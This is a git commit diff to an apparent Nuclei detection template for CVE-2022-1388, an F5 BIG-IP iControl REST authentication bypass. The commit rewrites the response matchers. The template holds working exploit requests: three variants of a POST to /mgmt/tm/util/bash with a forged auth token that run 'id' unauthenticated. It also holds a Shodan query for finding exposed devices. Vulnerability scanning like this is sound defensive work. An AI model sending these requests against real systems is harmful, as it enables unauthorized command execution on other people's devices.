Rewrote matchers due to vulnerable use-case I which had a slightly different matcher. Minor formatting and style changes.

patch-1
sullo 2022-05-10 17:07:09 -04:00
parent 152f1d33be
commit 0ba6ee3411
1 changed files with 36 additions and 14 deletions

View File

@ -1,18 +1,17 @@
id: CVE-2022-1388 id: CVE-2022-1388
info: info:
name: F5 BIG-IP iControl REST Auth Bypass RCE name: F5 BIG-IP iControl - REST Auth Bypass RCE
author: dwisiswant0,Ph33r author: dwisiswant0,Ph33r
severity: critical severity: critical
description: | description: |
This vulnerability may allow an unauthenticated attacker This F5 BIG-IP vulnerability can allow an unauthenticated attacker
with network access to the BIG-IP system through the management with network access to the BIG-IP system through the management
port and/or self IP addresses to execute arbitrary system commands, port and/or self IP addresses to execute arbitrary system commands.
create or delete files, or disable services. There is no data plane
exposure; this is a control plane issue only.
reference: reference:
- https://twitter.com/GossiTheDog/status/1523566937414193153 - https://twitter.com/GossiTheDog/status/1523566937414193153
- https://support.f5.com/csp/article/K23605346 - https://support.f5.com/csp/article/K23605346
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
classification: classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80 cvss-score: 9.80
@ -21,63 +20,86 @@ info:
metadata: metadata:
shodan-query: http.title:"BIG-IP®-+Redirect" +"Server" shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
verified: true verified: true
tags: bigip,cve,cve2022,rce,mirai tags: f5,bigip,cve,cve2022,rce,mirai
variables: variables:
auth: "admin:" auth: "admin:"
requests: requests:
- raw: - raw:
- | - |+
POST /mgmt/tm/util/bash HTTP/1.1 POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}} Authorization: Basic {{base64(auth)}}
Content-Type: application/json Content-Type: application/json
{ {
"command": "run", "command": "run",
"utilCmdArgs": "-c id" "utilCmdArgs": "-c id"
} }
matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- "commandResult"
- "uid=" - "uid="
condition: and condition: and
- type: word
words:
- "context=system_u"
- "commandResult"
condition: or
- raw: - raw:
- | - |+
POST /mgmt/tm/util/bash HTTP/1.1 POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost Host: localhost
Connection: keep-alive, X-F5-Auth-Token Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}} Authorization: Basic {{base64(auth)}}
Content-Type: application/json Content-Type: application/json
{ {
"command": "run", "command": "run",
"utilCmdArgs": "-c id" "utilCmdArgs": "-c id"
} }
matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- "commandResult"
- "uid=" - "uid="
condition: and condition: and
- type: word
words:
- "context=system_u"
- "commandResult"
condition: or
- raw: - raw:
- | - |+
POST /mgmt/tm/util/bash HTTP/1.1 POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost:8100 Host: localhost:8100
Connection: keep-alive, X-F5-Auth-Token Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}} Authorization: Basic {{base64(auth)}}
Content-Type: application/json Content-Type: application/json
{ {
"command": "run", "command": "run",
"utilCmdArgs": "-c id" "utilCmdArgs": "-c id"
} }
matchers-condition: and
matchers: matchers:
- type: word - type: word
words: words:
- "commandResult"
- "uid=" - "uid="
condition: and condition: and
- type: word
words:
- "context=system_u"
- "commandResult"
condition: or